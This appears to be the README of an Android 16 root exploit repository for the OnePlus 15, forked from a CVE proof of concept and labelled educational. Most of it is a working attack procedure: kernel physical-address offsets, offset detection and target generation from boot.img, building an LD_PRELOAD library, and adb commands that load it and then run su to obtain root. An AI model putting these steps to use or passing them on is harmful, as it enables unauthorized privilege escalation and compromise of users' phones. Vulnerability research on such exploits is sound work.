Android 16 在 OnePlus 15 上的本地权限提升教育性概念验证,包含内核偏移检测、目标生成以及基于 LD_PRELOAD 的漏洞利用构建。
警告: 本仓库仅供教育和研究目的使用。 不提供任何预编译的二进制文件或发行版。您必须从源码自行构建所有内容。
适用于 OnePlus 15 的 Android 16 本地权限提升。
Fork 自 x-spy/CVE-2026-43499-popsicle, 并修复了 kallsyms 对齐问题,且包含已验证的 OnePlus 15 配置文件。
配置文件中包含两个物理地址,必须从已 root 且运行相同固件的设备上确认:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
在已 root 的设备上自动检测:
python3 detect_offset.py
需要 Python 3 和 llvm-objdump:
python3 generate_target.py \
--boot boot.img \
--profile profile_oneplus15.json \
-o source/src/target.h
make -C source clean preload
如果 NDK 未自动检测到:
NDK_ROOT=/path/to/android-ndk make -C source clean preload
输出:source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell chmod 0644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
adb shell /data/local/tmp/su -c id